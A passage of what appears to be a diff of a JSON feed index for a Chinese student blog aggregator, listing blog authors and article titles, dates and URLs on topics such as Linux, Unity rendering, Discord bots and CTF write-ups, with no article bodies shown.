WriteUp","time":"2021-09-21T12:15:45Z","content":"db/416223da32d8e46807e44d1d.txt","url":"https://blog.ksfu.top/posts/82c9/"},{"title":"blogEncrypt","time":"2021-09-09T14:02:52Z","content":"db/c594be19c46b70e56c6f649d.txt","url":"https://blog.ksfu.top/posts/af/"}]},{"name":"木生懒得写博客","email":"Unknown","uri":"https://blog.lsy223622.com/","description":"写点玩电脑经历吧","article":[{"title":"开源 AI 相册 Immich 安装记录","time":"2024-09-27T12:06:00Z","content":"db/ab6e33a9b7c90cb5b85b8425.txt","url":"https://blog.lsy223622.com/archives/65/"},{"title":"Windows 文件夹属性窗口没有共享标签页的解决方法","time":"2024-07-25T03:33:00Z","content":"db/bcfd8cf684903c81eb0230d0.txt","url":"https://blog.lsy223622.com/archives/59/"},{"title":"关于 XDUClassVideoDownloader 的开发","time":"2024-07-07T14:55:00Z","content":"db/ffe4e806b66574563197478a.txt","url":"https://blog.lsy223622.com/archives/56/"},{"title":"ChatGPT 的自定义提示词","time":"2024-06-23T03:39:00Z","content":"db/f36aa2cde7c4de7b0b727081.txt","url":"https://blog.lsy223622.com/archives/49/"},{"title":"西安有什么好吃的地方?(2024-05-20 更新)","time":"2024-05-20T12:39:00Z","content":"db/242a5ed5a59f833bf2b73e24.txt","url":"https://blog.lsy223622.com/archives/41/"},{"title":"对 Typecho 和主题、插件的修改(2024-05-28 更新)","time":"2024-05-14T08:37:00Z","content":"db/792a144fff9b19cf30ef9c81.txt","url":"https://blog.lsy223622.com/archives/25/"},{"title":"换主题了再水一篇😋","time":"2024-04-27T11:37:00Z","content":"db/170582d903c8f59726033fb4.txt","url":"https://blog.lsy223622.com/archives/14/"},{"title":"宝塔面板提示当前未安装 docker 或 docker-compose 未安装的解决方式","time":"2024-04-19T09:57:00Z","content":"db/cedc7e643a0a117ce93f14cc.txt","url":"https://blog.lsy223622.com/archives/4/"},{"title":"终于想起来搭博客了","time":"2024-04-07T12:10:00Z","content":"db/81b10254b743780f9ea818c3.txt","url":"https://blog.lsy223622.com/archives/3/"}]}],"update":"2024-10-15T04:30:31.596913138Z"} \ No newline at end of file +{"author":[{"name":"Hiang's BLOG","email":"","uri":"https://hiangzahoong.github.io/","description":"","article":[{"title":"Hello World","time":"2024-05-03T03:51:53.173Z","content":"db/b765c79e05acfb6bdd70db7d.txt","url":"https://hiangzahoong.github.io/post/4a17b156.html"}]},{"name":"Canxin Site","email":"Unknown","uri":"https://canxin121.github.io/","description":"Recent content on Canxin Site","article":[{"title":"屏幕 控制 电机(pid)","time":"2023-09-18T00:00:00Z","content":"db/c6eced55ab97300095736e61.txt","url":"https://canxin121.github.io/p/%E5%B1%8F%E5%B9%95-%E6%8E%A7%E5%88%B6-%E7%94%B5%E6%9C%BApid/"},{"title":"SparkGPT","time":"2023-09-10T00:00:00Z","content":"db/60934bbd40e6e14b199bfee3.txt","url":"https://canxin121.github.io/p/sparkgpt/"},{"title":"SparkGPT 思路分析","time":"2023-09-10T00:00:00Z","content":"db/53fc80653e8cccf1162ace4e.txt","url":"https://canxin121.github.io/p/sparkgpt-%E6%80%9D%E8%B7%AF%E5%88%86%E6%9E%90/"},{"title":"SparkGPT 预览","time":"2023-09-10T00:00:00Z","content":"db/695a68365a8ef57d38d7b3ab.txt","url":"https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/"},{"title":"归档","time":"2022-03-06T00:00:00Z","content":"db/79cf62a6236e472515150cfe.txt","url":"https://canxin121.github.io/archives/"},{"title":"Led灯控制(Usart)","time":"0001-01-01T00:00:00Z","content":"db/3e9bfae68de222fd6193a650.txt","url":"https://canxin121.github.io/p/led%E7%81%AF%E6%8E%A7%E5%88%B6usart/"},{"title":"链接","time":"0001-01-01T00:00:00Z","content":"db/c033d6eae8e09d3eb8a8b03d.txt","url":"https://canxin121.github.io/%E9%93%BE%E6%8E%A5/"},{"title":"搜索","time":"0001-01-01T00:00:00Z","content":"db/cbb0c21135dfdff797cf4dbe.txt","url":"https://canxin121.github.io/search/"}]},{"name":"Xiue's Blog","email":"","uri":"https://xiue233.github.io/","description":"A lazy dog.","article":[{"title":"每日随笔之胡言乱语","time":"2024-08-30T05:56:19Z","content":"db/788e004af33aad4df5a77fe2.txt","url":"https://xiue233.github.io/2024/08/30/daily-essay/"},{"title":"Linux下适配拯救者Y9000X的Optimus方案","time":"2024-08-27T08:06:00Z","content":"db/945c1c9003c2aef39cccbf82.txt","url":"https://xiue233.github.io/2024/08/27/linux-mux-resolution-for-legion/"},{"title":"配置VSCode以开发安卓内核","time":"2024-08-13T01:30:07Z","content":"db/2043a21c20a2d96a19bc8a01.txt","url":"https://xiue233.github.io/2024/08/13/vscode-config-for-android-kernel/"},{"title":"First Love Story","time":"2024-08-05T08:05:21Z","content":"db/ae15cad90af6a0f06bbab02a.txt","url":"https://xiue233.github.io/2024/08/05/first-love-story/"},{"title":"Linux下Conda遇到OpenSSL 3.0 Legacy错误","time":"2024-08-04T12:52:24Z","content":"db/0d68e384d1f1f8fdb126e1df.txt","url":"https://xiue233.github.io/2024/08/04/conda-openssl-legacy-provider/"},{"title":"为Y9000X安装Arch","time":"2024-08-02T02:02:14Z","content":"db/217f5d3e87d8317cc6b32a6e.txt","url":"https://xiue233.github.io/2024/08/02/arch-install-for-Y9000X-2022/"},{"title":"《心中的雨,散落在了天边》(2024-7-13随笔)","time":"2024-07-12T22:22:17Z","content":"db/b963d5b1a0b1312323d1e5a2.txt","url":"https://xiue233.github.io/2024/07/13/2024-7-13-essay/"},{"title":"为Pixel3 PixelExperience13Plus内核引入Kernelsu","time":"2024-03-26T09:57:00Z","content":"db/945f05429e7d2bea97b036f5.txt","url":"https://xiue233.github.io/2024/03/26/pixel3-kernelsu-build/"},{"title":"一分钱经济学(胡言乱语)","time":"2024-03-01T15:30:00Z","content":"db/79ad16ac63d351296f3051a7.txt","url":"https://xiue233.github.io/2024/03/01/a-penny-economics/"},{"title":"随笔——中国当今社会下的原神社会现象","time":"2023-10-19T09:17:38Z","content":"db/66a7e819dfe9e61586531c15.txt","url":"https://xiue233.github.io/2023/10/19/essay-genshin-phenomena-in-society/"},{"title":"平板PC引擎的研究(华为MatePad)#已咕咕咕","time":"2023-09-13T12:28:49Z","content":"db/b21767d1bce79894ca243ff2.txt","url":"https://xiue233.github.io/2023/09/13/pc-engine-in-huawei-matepad/"},{"title":"Aether使用指南(主体功能概述)","time":"2023-09-09T14:42:41Z","content":"db/d91c8d8ee494de4befdf28e0.txt","url":"https://xiue233.github.io/2023/09/09/aether-manual/"},{"title":"Aether在Android中的适配探索","time":"2023-09-05T15:35:45Z","content":"db/8952ef596a673d02888cab4c.txt","url":"https://xiue233.github.io/2023/09/05/aether-in-android/"},{"title":"OFA使用下遇到的问题","time":"2022-12-04T02:18:53Z","content":"db/cda9e4cffd6213facf83fecb.txt","url":"https://xiue233.github.io/2022/12/04/ofa_bugs/"},{"title":"PC小芝士","time":"2022-10-25T10:33:30Z","content":"db/c683e6a21d9ee4d4d96840a2.txt","url":"https://xiue233.github.io/2022/10/25/os_knowledge/"},{"title":"记一次编译Mediapipe","time":"2022-10-01T14:24:51Z","content":"db/00def58ae11e227a657a6ade.txt","url":"https://xiue233.github.io/2022/10/01/compile_mediapipe/"}]},{"name":"Frank","email":"","uri":"https://blog.frankli.site/","description":"","article":[{"title":"关于大学","time":"2022-07-02T16:00:00Z","content":"db/97f6a17e4d4dede6ed3c8226.txt","url":"https://blog.frankli.site/2022/07/03/Misc/%E5%85%B3%E4%BA%8E%E5%A4%A7%E5%AD%A6/"},{"title":"python实现的php序列化","time":"2021-06-14T16:00:00Z","content":"db/aa381754b5c96a4087903fa8.txt","url":"https://blog.frankli.site/2021/06/15/Misc/libphpserialize/"},{"title":"第六届XCTF决赛部分Writeup","time":"2021-05-29T16:00:00Z","content":"db/29f4e5a835c71abbd7f38bb7.txt","url":"https://blog.frankli.site/2021/05/30/Security/Writeup/XCTF-Final-2021/"},{"title":"PHP序列化中的R与r","time":"2021-04-10T16:00:00Z","content":"db/675acd26e1696a8ab79450fb.txt","url":"https://blog.frankli.site/2021/04/11/Security/php-src/PHP-Serialize-tips/"},{"title":"*CTF 2021 Web部分 Writeup","time":"2021-01-18T07:58:02Z","content":"db/ec929b39eec728f5c9935f6c.txt","url":"https://blog.frankli.site/2021/01/18/Security/Writeup/*CTF-2021-Web/"},{"title":"mssCTF 2020 手记","time":"2020-09-19T16:00:00Z","content":"db/1b696129a49518942da8cac6.txt","url":"https://blog.frankli.site/2020/09/20/Dev/mssCTF%202020/"},{"title":"GACTF 2020 Web 部分题目 Writeup","time":"2020-08-31T16:00:00Z","content":"db/ed0b6881e045c51a39cfa962.txt","url":"https://blog.frankli.site/2020/09/01/Security/Writeup/GACTF-2020-Web/"},{"title":"第十三届全国大学生信息安全竞赛西北赛区 Web题目 Writeup","time":"2020-08-20T16:00:00Z","content":"db/650815fee32fd736227cfde1.txt","url":"https://blog.frankli.site/2020/08/21/Security/Writeup/CISCN%202020/"},{"title":"fatfree framework POP链挖掘","time":"2020-08-20T16:00:00Z","content":"db/425ee875c3954046d687716f.txt","url":"https://blog.frankli.site/2020/08/21/Security/Writeup/fatfree%20POP/"},{"title":"PHP Lifecycle","time":"2020-08-13T16:00:00Z","content":"db/2ef4560a44bad3ce41671b73.txt","url":"https://blog.frankli.site/2020/08/14/Security/php-src/PHP-Lifecycle/"},{"title":"PHP函数、Opcode与注册表","time":"2020-08-13T16:00:00Z","content":"db/0d8bd314a61d92105d00c769.txt","url":"https://blog.frankli.site/2020/08/14/Security/php-src/PHP-Registry-Mechanism/"},{"title":"WMCTF2020 PHP source analysis","time":"2020-08-04T16:00:00Z","content":"db/d1be38552b9a818e089fbedb.txt","url":"https://blog.frankli.site/2020/08/05/Security/php-src/WMCTF2020-PHP-source-analysis/"},{"title":"SCTF 2020 两道Web题 Writeup","time":"2020-07-06T16:00:00Z","content":"db/921237c69d7eb618cb740376.txt","url":"https://blog.frankli.site/2020/07/07/Security/Writeup/SCTF-2020-Web/"},{"title":"关于爱","time":"2020-05-19T16:00:00Z","content":"db/e935e4aeed11b56256e937ad.txt","url":"https://blog.frankli.site/2020/05/20/Misc/%E5%85%B3%E4%BA%8E%E7%88%B1/"},{"title":"从一道题到PHP Shell WAF绕过","time":"2020-05-09T16:00:00Z","content":"db/85b74804d4e872c30ff46dde.txt","url":"https://blog.frankli.site/2020/05/10/Security/PHP%20Shell%20Bypass/"},{"title":"Osu逆向过程中的一些小结","time":"2020-02-07T09:04:59Z","content":"db/455a9ba9a4405a25c5abf8a5.txt","url":"https://blog.frankli.site/2020/02/07/Security/Osu%E9%80%86%E5%90%91%E8%BF%87%E7%A8%8B%E4%B8%AD%E7%9A%84%E4%B8%80%E4%BA%9B%E5%B0%8F%E7%BB%93/"},{"title":"2019暑假划水小结","time":"2019-08-23T09:50:44Z","content":"db/bfd611066b968472218e8cdb.txt","url":"https://blog.frankli.site/2019/08/23/Misc/2019%E6%9A%91%E5%81%87%E5%88%92%E6%B0%B4%E5%B0%8F%E7%BB%93/"},{"title":"论mathjax踩坑","time":"2019-08-06T16:00:00Z","content":"db/81312f3e66a81c9f2b3bf3fd.txt","url":"https://blog.frankli.site/2019/08/07/Dev/%E8%AE%BAmathjax%E8%B8%A9%E5%9D%91/"},{"title":"2019暑期牛客多校","time":"2019-08-05T16:00:00Z","content":"db/6be79fa5ef0b48fabd58b55c.txt","url":"https://blog.frankli.site/2019/08/06/Misc/2019%E6%9A%91%E6%9C%9F%E7%89%9B%E5%AE%A2%E5%A4%9A%E6%A0%A1/"},{"title":"给CTFd加上ACM评测功能","time":"2019-07-24T16:00:00Z","content":"db/fc0f8c0b3712ab1c285b0a07.txt","url":"https://blog.frankli.site/2019/07/25/Dev/%E7%BB%99CTFd%E5%8A%A0%E4%B8%8AACM%E8%AF%84%E6%B5%8B%E5%8A%9F%E8%83%BD/"},{"title":"第十二届全国大学生信息安全竞赛西北赛区 部分题目 Writeup","time":"2019-04-21T16:00:00Z","content":"db/82897992f2dbbdae8054ce4a.txt","url":"https://blog.frankli.site/2019/04/22/Security/Writeup/CISCN%202019/"},{"title":"MakerCTF 2019 部分Web题目 Writeup","time":"2019-04-14T16:00:00Z","content":"db/f4db51897eca2461e6d44f8b.txt","url":"https://blog.frankli.site/2019/04/15/Security/Writeup/MakerCTF%202019/"},{"title":"moeCTF2018","time":"2018-08-25T16:00:00Z","content":"db/4ba58b7d79a0117d2be92d5d.txt","url":"https://blog.frankli.site/2018/08/26/Security/Writeup/moeCTF2018/"},{"title":"旧的几篇题解","time":"2018-07-31T16:00:00Z","content":"db/ef6cd2f9af39bcc1e5f448bd.txt","url":"https://blog.frankli.site/2018/08/01/Misc/%E6%97%A7%E7%9A%84%E5%87%A0%E7%AF%87%E9%A2%98%E8%A7%A3/"}]},{"name":"闪电豹猫的自留地","email":"Unknown","uri":"https://hhzm.win/","description":"这里是闪电豹猫的博客主站","article":[{"title":"Gyoza 使用指南","time":"2024-04-01T00:00:00Z","content":"db/b64b064fe1d888823a28b934.txt","url":"https://hhzm.win/posts/guide/"},{"title":"Bot in Discord with discord.js (17)","time":"2024-05-09T00:00:00Z","content":"db/0eec83c8f97079a18af15ecb.txt","url":"https://hhzm.win/posts/bot-in-discord-17/"},{"title":"在文章中嵌入视频和代码","time":"2024-04-04T00:00:00Z","content":"db/2da299e304d65c13b86c3f0c.txt","url":"https://hhzm.win/posts/embed/"},{"title":"Markdown 示例","time":"2024-04-01T00:00:00Z","content":"db/a44190511b000821224f6597.txt","url":"https://hhzm.win/posts/markdown/"},{"title":"Bot in Discord with discord.js (16)","time":"2023-04-10T00:00:00Z","content":"db/e3a77abba8b08d2420cb5da1.txt","url":"https://hhzm.win/posts/bot-in-discord-16/"},{"title":"Bot in Discord with discord.js (15)","time":"2023-04-09T00:00:00Z","content":"db/97d271f244fb07ad28bb442c.txt","url":"https://hhzm.win/posts/bot-in-discord-15/"},{"title":"Bot in Discord with discord.js (14)","time":"2023-01-24T00:00:00Z","content":"db/9d4ebcd9e17d1fac18d2e6d9.txt","url":"https://hhzm.win/posts/bot-in-discord-14/"},{"title":"Bot in Discord with discord.js (13)","time":"2023-01-10T00:00:00Z","content":"db/46e1aa568e73bdc823ad9856.txt","url":"https://hhzm.win/posts/bot-in-discord-13/"},{"title":"Bot in Discord with discord.js (12)","time":"2022-11-24T00:00:00Z","content":"db/e32b8af7a105a7ed7a1ee64c.txt","url":"https://hhzm.win/posts/bot-in-discord-12/"},{"title":"Bot in Discord with discord.js (11)","time":"2022-11-23T00:00:00Z","content":"db/a6548218024c67f4555ab777.txt","url":"https://hhzm.win/posts/bot-in-discord-11/"},{"title":"Bot in Discord with discord.js (10)","time":"2022-11-21T00:00:00Z","content":"db/2166cdb3a5d7227281242a16.txt","url":"https://hhzm.win/posts/bot-in-discord-10/"},{"title":"Bot in Discord with discord.js (9)","time":"2022-11-19T00:00:00Z","content":"db/9710326cdae2ab1fe6935880.txt","url":"https://hhzm.win/posts/bot-in-discord-9/"},{"title":"Bot in Discord with discord.js (8)","time":"2022-07-15T00:00:00Z","content":"db/e3b5a490a3207dffe534226c.txt","url":"https://hhzm.win/posts/bot-in-discord-8/"},{"title":"Bot in Discord with discord.js (7)","time":"2022-07-14T00:00:00Z","content":"db/9421f27800f2791ef2e0f647.txt","url":"https://hhzm.win/posts/bot-in-discord-7/"},{"title":"Bot in Discord with discord.js (6)","time":"2022-07-13T00:00:00Z","content":"db/cc0e4b3cc7064cf6fbbe11ed.txt","url":"https://hhzm.win/posts/bot-in-discord-6/"},{"title":"Bot in Discord with discord.js (5)","time":"2022-07-12T00:00:00Z","content":"db/f6170d2720fe0980fb51473c.txt","url":"https://hhzm.win/posts/bot-in-discord-5/"},{"title":"Bot in Discord with discord.js (4)","time":"2022-07-11T00:00:00Z","content":"db/5a403ef88764ab61ed68a2af.txt","url":"https://hhzm.win/posts/bot-in-discord-4/"},{"title":"Bot in Discord with discord.js (3)","time":"2022-07-10T00:00:00Z","content":"db/31e257e2f0794a70e6bb4094.txt","url":"https://hhzm.win/posts/bot-in-discord-3/"},{"title":"Bot in Discord with discord.js (2)","time":"2022-07-09T00:00:00Z","content":"db/b831329156a0c18149a8d644.txt","url":"https://hhzm.win/posts/bot-in-discord-2/"},{"title":"Bot in Discord with discord.js (1)","time":"2022-07-08T00:00:00Z","content":"db/fdfe027af1ec3a71f991519f.txt","url":"https://hhzm.win/posts/bot-in-discord-1/"}]},{"name":"@indevn","email":"indevn@outlook.com","uri":"https://indevn.com/","description":"Recent content on @indevn","article":[{"title":"About","time":"2024-07-10T07:10:45Z","content":"db/17a18070d7649e224db72bfa.txt","url":"https://indevn.com/about/"},{"title":"近乎正常就可以了 #音乐剧","time":"2024-06-08T10:11:52Z","content":"db/1568fe6a2b18bff4045f9fae.txt","url":"https://indevn.com/posts/next-to-normal/"},{"title":"illusion Graphic:基于现代API的图形算法实验框架","time":"0001-01-01T00:00:00Z","content":"db/74ea24d65fa4851c8f10598a.txt","url":"https://indevn.com/illusion/"}]},{"name":"SuperBart/BenderBlog","email":"Unknown","uri":"https://www.superbart.top/","description":"Recent content on SuperBart/BenderBlog","article":[{"title":"cmcalc 开发日志 1","time":"2024-07-14T00:00:00Z","content":"db/2c3cc73bab78031aa8c3ccde.txt","url":"https://www.superbart.top/p/cmcalc-develop-log-1.html"},{"title":"Traintime PDA v1.1.0 版本发行概要","time":"2024-03-23T00:00:00Z","content":"db/b32a63fcf1cad6420cae62fe.txt","url":"https://www.superbart.top/p/traintime-pda-v1.1.0-release-note.html"},{"title":"New Order - Movement 听后感","time":"2024-01-02T00:00:00Z","content":"db/5963e20b87f8f4f4e10a11f7.txt","url":"https://www.superbart.top/p/movement-review.html"},{"title":"Traintime PDA v0.4.1 发行简记","time":"2023-11-02T00:00:00Z","content":"db/1992948006a00fdf4a183e26.txt","url":"https://www.superbart.top/p/traintime-pda-v0.4.1-release-note.html"},{"title":"Traintime PDA v0.4.0 发行简记","time":"2023-10-01T00:00:00Z","content":"db/35271101646439fd0b1ca2c6.txt","url":"https://www.superbart.top/p/traintime-pda-v0.4.0-release-note.html"},{"title":"Traintime PDA v0.2.0 发行简记","time":"2023-08-16T00:00:00Z","content":"db/c440904d29070b622eaf0bcb.txt","url":"https://www.superbart.top/p/traintime-pda-v0.2.0-release-note.html"},{"title":"Traintime PDA v0.1.0 发行简记","time":"2023-07-29T00:00:00Z","content":"db/2ada4cbaa914871522d6c94f.txt","url":"https://www.superbart.top/p/traintime-pda-v0.1.0-release-note.html"},{"title":"XDU Planet 感想","time":"2023-07-15T00:00:00Z","content":"db/ea52a9c7c32cb04c570cb846.txt","url":"https://www.superbart.top/p/xdu-planet-acquaintance.html"},{"title":"Traintime PDA 架构设计","time":"2023-06-06T00:00:00Z","content":"db/38f5d3cdda3fd83cbea4b8ae.txt","url":"https://www.superbart.top/p/xdyou-sad.html"},{"title":"Flutter 介绍","time":"2023-04-29T00:00:00Z","content":"db/f213f1c81d7f041fb676bc0c.txt","url":"https://www.superbart.top/p/flutter-introduction.html"},{"title":"我在 2022 年学到了什么","time":"2022-12-31T00:00:00Z","content":"db/c7f8c39a88eaa30f9b0a7f6b.txt","url":"https://www.superbart.top/p/goodbye-2022.html"},{"title":"Vala 介绍","time":"2022-12-20T00:00:00Z","content":"db/bc0561205e47b193adeeb89b.txt","url":"https://www.superbart.top/p/vala-introduction.html"},{"title":"如何在网上开自己的电台?","time":"2022-10-19T00:00:00Z","content":"db/d79be6a98a2bcd5d3cfd73f7.txt","url":"https://www.superbart.top/p/how-to-operate-an-internet-radio.html"},{"title":"关于西电一站式服务大厅背后的那点事","time":"2022-08-31T00:00:00Z","content":"db/690c6ecf09b3b09b2041384f.txt","url":"https://www.superbart.top/p/the-things-behind-xidian-e-hall.html"},{"title":"奶油乐队个人回顾","time":"2022-06-12T00:00:00Z","content":"db/9156248dd69c76148bfd26cd.txt","url":"https://www.superbart.top/p/cream-band-review.html"},{"title":"操作系统:线程","time":"2022-04-09T00:00:00Z","content":"db/081071a76fae29622386a893.txt","url":"https://www.superbart.top/p/operating-system-1-thread.html"},{"title":"自己编译 Linux 内核,好像一点用都没有?","time":"2022-02-11T00:00:00Z","content":"db/481c8ca93d287264d9bbd0f2.txt","url":"https://www.superbart.top/p/complie-linux-kernel-is-useless.html"},{"title":"快速逃离Linux指南","time":"2022-01-25T00:00:00Z","content":"db/1f64967248215292f3abbd97.txt","url":"https://www.superbart.top/p/linux-in-quick-run.html"},{"title":"The Embodiment of Scarlet Devil专辑推广材料","time":"2021-11-05T00:00:00Z","content":"db/80909fbe0366063fb270fde7.txt","url":"https://www.superbart.top/p/gensokyo-band-promotion-file.html"},{"title":"Roland SD-35 MIDI 播放器评测","time":"2021-09-05T00:00:00Z","content":"db/fea5987eba924b2300dc15c1.txt","url":"https://www.superbart.top/p/roland-sd-35-midi-player-review.html"},{"title":"Genesis - A Trick of the Tail 听后感","time":"2021-08-15T00:00:00Z","content":"db/eb7504b5eb6e1bf01e1a46ef.txt","url":"https://www.superbart.top/p/a-trick-of-the-tail-review.html"},{"title":"我的字幕授权协议(兼各种我知道的授权协议介绍)","time":"2021-08-02T00:00:00Z","content":"db/45f8bde2ebfd13eb5421712f.txt","url":"https://www.superbart.top/p/my-license-introduction.html"},{"title":"archinstall 初体验 (省流文字版)","time":"2021-05-01T00:00:00Z","content":"db/05886a217e26261b072c5265.txt","url":"https://www.superbart.top/p/experience-of-archinstall.html"},{"title":"King Crimson - Islands 听后感","time":"2021-02-27T00:00:00Z","content":"db/1c32f1d8dd76cf31000e3b0e.txt","url":"https://www.superbart.top/p/islands-review.html"},{"title":"过年了,给大家回复弹幕,然后瞎扯两句","time":"2021-02-12T00:00:00Z","content":"db/dcea218ababc21cc01f0fe49.txt","url":"https://www.superbart.top/p/reading-reviews.html"},{"title":"我的一加8T刷机失败记录","time":"2021-02-03T00:00:00Z","content":"db/4647da6efd4bc1fcc616444b.txt","url":"https://www.superbart.top/p/failure-on-flash-oneplus-8t.html"}]},{"name":"Stalo's Note","email":"Unknown","uri":"https://note.stalomeow.com/","description":"Stalo's notebook.","article":[{"title":"Scene View 无限网格","time":"2024-10-13T14:47:30Z","content":"db/0cc301c9ee089b3cd5f7388a.txt","url":"https://note.stalomeow.com/blog/posts/scene-view-infinite-grid/"},{"title":"Unity SRP 全屏 Blit 原理","time":"2024-10-13T02:36:33Z","content":"db/c3a10a42ef7610beff516cf3.txt","url":"https://note.stalomeow.com/blog/posts/unity-srp-fullscreen-blit/"},{"title":"对逐物体阴影的一些改进","time":"2024-09-23T07:09:35Z","content":"db/4a54a7951b88996ccfaff542.txt","url":"https://note.stalomeow.com/blog/posts/per-object-shadow-improvement/"},{"title":"集成 RenderDoc","time":"2024-08-20T15:53:05Z","content":"db/45d0e1a268b2b59bc7704a1a.txt","url":"https://note.stalomeow.com/blog/posts/renderdoc-integration/"},{"title":"ImGui 适配高 DPI 显示器","time":"2024-07-21T15:42:26Z","content":"db/5d314fae4a98894cd9405157.txt","url":"https://note.stalomeow.com/blog/posts/imgui-handle-high-dpi/"},{"title":"仿星铁渲染:主光源角色阴影","time":"2024-07-11T10:45:29Z","content":"db/1acd5f5729d9919805c52512.txt","url":"https://note.stalomeow.com/blog/posts/toon-main-light-character-shadow/"},{"title":"深度重建世界坐标","time":"2024-07-10T13:52:12Z","content":"db/34fe71fd18cdac7e48231551.txt","url":"https://note.stalomeow.com/blog/posts/depth-reconstruct-world-position/"},{"title":"实信号与复信号的频谱实验","time":"2024-06-17T08:58:05Z","content":"db/2f334a996c8a4f817cd06c03.txt","url":"https://note.stalomeow.com/blog/posts/signal-spectrum-experiment/"},{"title":"Wireshark 抓包 HTTP 实验","time":"2024-06-17T08:36:10Z","content":"db/69e8e2faaffe4ac8c2cf9230.txt","url":"https://note.stalomeow.com/blog/posts/wireshark-capture-http-experiment/"},{"title":"Windows 上用 CapsLock 切换中英文","time":"2024-05-01T13:09:28Z","content":"db/ca8970f8540758a1aef646da.txt","url":"https://note.stalomeow.com/blog/posts/windows-capslock-ime/"},{"title":"后处理 Shader 的 Render State 设置","time":"2024-04-27T14:42:36Z","content":"db/d5f263a14e7ab08a09057209.txt","url":"https://note.stalomeow.com/blog/posts/unity-postprocess-shader-render-state/"},{"title":"Nuxt 3 开发避坑","time":"2024-04-09T07:44:55Z","content":"db/8daa1bb6ff7a778b21435c54.txt","url":"https://note.stalomeow.com/blog/posts/nuxt3-dev-guide/"},{"title":"Allocate RT 时记得指定 filterMode 和 wrapMode","time":"2024-04-03T12:07:07Z","content":"db/a8f21ce9e3c6ce4323343fae.txt","url":"https://note.stalomeow.com/blog/posts/unity-allocate-rt-problem/"},{"title":"用 RenderDoc 持续截帧 Unity Editor Game View","time":"2024-04-02T13:42:47Z","content":"db/226f579060eb40e462dbc917.txt","url":"https://note.stalomeow.com/blog/posts/unity-editor-renderdoc-tool/"},{"title":"青雀进暗杠的抽牌数期望","time":"2024-03-23T14:25:35Z","content":"db/2e92eebccaec2c8509a163e1.txt","url":"https://note.stalomeow.com/blog/posts/exp-val-to-enter-qingque-hidden-hand/"},{"title":"LeetCode 题目描述转 Markdown","time":"2024-03-21T15:04:02Z","content":"db/7a8574f8216b39f196955a53.txt","url":"https://note.stalomeow.com/blog/posts/leetcode-problem-desc-to-markdown/"},{"title":"实现 IJobParallelForAppend","time":"2024-03-16T14:36:06Z","content":"db/77ad56af29c0edc6075c2b27.txt","url":"https://note.stalomeow.com/blog/posts/unity-job-parallel-for-append/"},{"title":"仿星铁渲染:Bloom","time":"2024-03-05T10:19:01Z","content":"db/0e912094ea4ab9a814940d05.txt","url":"https://note.stalomeow.com/blog/posts/toon-bloom/"},{"title":"复刻星穹铁道 2.0 梦境迷钟","time":"2024-02-18T13:55:20Z","content":"db/6dfb70fb35e67ea8f1b1c0c0.txt","url":"https://note.stalomeow.com/blog/posts/unity-hsr-dream-ticker/"},{"title":"Unity 常用 Render State 属性 UI","time":"2024-02-18T06:27:11Z","content":"db/2f6ed4420d7d019731b441ba.txt","url":"https://note.stalomeow.com/blog/posts/unity-render-state-props-ui/"}]},{"name":"王兰花椒粉的秘密小窝","email":"Unknown","uri":"http://wanglanhuajiaofen.fun","description":"","article":[{"title":"基于selenium的刷问卷星脚本","time":"2024-08-13T16:00:00Z","content":"db/f138918235baf32f7abb716e.txt","url":"http://wanglanhuajiaofen.fun/2024/08/14/wjx/"},{"title":"Ubuntu23.10 docker安装与配置","time":"2024-07-26T16:00:00Z","content":"db/622f8acbff0397ea30653ef4.txt","url":"http://wanglanhuajiaofen.fun/2024/07/27/docker/"},{"title":"大二下收官","time":"2024-07-05T16:00:00Z","content":"db/3e6ea572bda89d26aeef1f73.txt","url":"http://wanglanhuajiaofen.fun/2024/07/06/%E5%A4%A7%E4%BA%8C/"},{"title":"Openwrt UnblockNeteaseMusic使用记录","time":"2024-05-02T16:00:00Z","content":"db/532b6a3c5a84a9c84eb0a50e.txt","url":"http://wanglanhuajiaofen.fun/2024/05/03/%E6%9C%8D%E5%8A%A1%E5%99%A8%E8%BD%AF%E4%BB%B6%E6%8A%98%E8%85%BE/"},{"title":"QAuxiliary安装流程","time":"2024-04-28T16:00:00Z","content":"db/e1b30273cbdb0352fd14c368.txt","url":"http://wanglanhuajiaofen.fun/2024/04/29/QAuxiliary/"},{"title":"selenium报错ValueError","time":"2024-03-23T16:00:00Z","content":"db/dcfd840b433bf56d7ff5f014.txt","url":"http://wanglanhuajiaofen.fun/2024/03/24/selenium/"},{"title":"Ubuntu20.04有线网络消失","time":"2024-03-23T16:00:00Z","content":"db/14ebd771f822cd0de57f95ee.txt","url":"http://wanglanhuajiaofen.fun/2024/03/24/net/"},{"title":"Ubuntu安装+配置clash","time":"2024-02-28T16:00:00Z","content":"db/ac2b4cd50e05eda104201889.txt","url":"http://wanglanhuajiaofen.fun/2024/02/29/clash/"},{"title":"hexo搭建博客bug小结","time":"2024-02-19T16:00:00Z","content":"db/251e768d8800ed2dd104a40c.txt","url":"http://wanglanhuajiaofen.fun/2024/02/20/hexo%E6%90%AD%E5%BB%BA%E5%8D%9A%E5%AE%A2bug%E5%B0%8F%E7%BB%93/"},{"title":"初搭博客","time":"2024-02-18T16:00:00Z","content":"db/3ce43ed474cf66bb039e47aa.txt","url":"http://wanglanhuajiaofen.fun/2024/02/19/%E5%88%9D%E6%90%AD%E5%8D%9A%E5%AE%A2/"}]},{"name":"神社的储物间","email":"","uri":"https://mxts.jiujiuer.xyz/","description":"*节操消失了*","article":[{"title":"龙芯久久派Plus折腾笔记","time":"2024-09-12T07:41:18Z","content":"db/319851376972c1167915c1ee.txt","url":"https://mxts.jiujiuer.xyz/2024/09/12/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E9%BE%99%E8%8A%AF%E4%B9%85%E4%B9%85%E6%B4%BEPlus%E6%8A%98%E8%85%BE%E7%AC%94%E8%AE%B0/"},{"title":"磁带机入坑小记","time":"2024-07-08T03:39:09Z","content":"db/39164f124569f66818cea288.txt","url":"https://mxts.jiujiuer.xyz/2024/07/08/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%A1%AC%E4%BB%B6/%E7%A3%81%E5%B8%A6%E6%9C%BA%E5%85%A5%E5%9D%91%E5%B0%8F%E8%AE%B0/"},{"title":"Linux上的ESP32+MicroPython开发手记","time":"2024-07-05T06:03:13Z","content":"db/bd05c28a3d50e5d04f86e302.txt","url":"https://mxts.jiujiuer.xyz/2024/07/05/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/Linux%E4%B8%8A%E7%9A%84ESP32+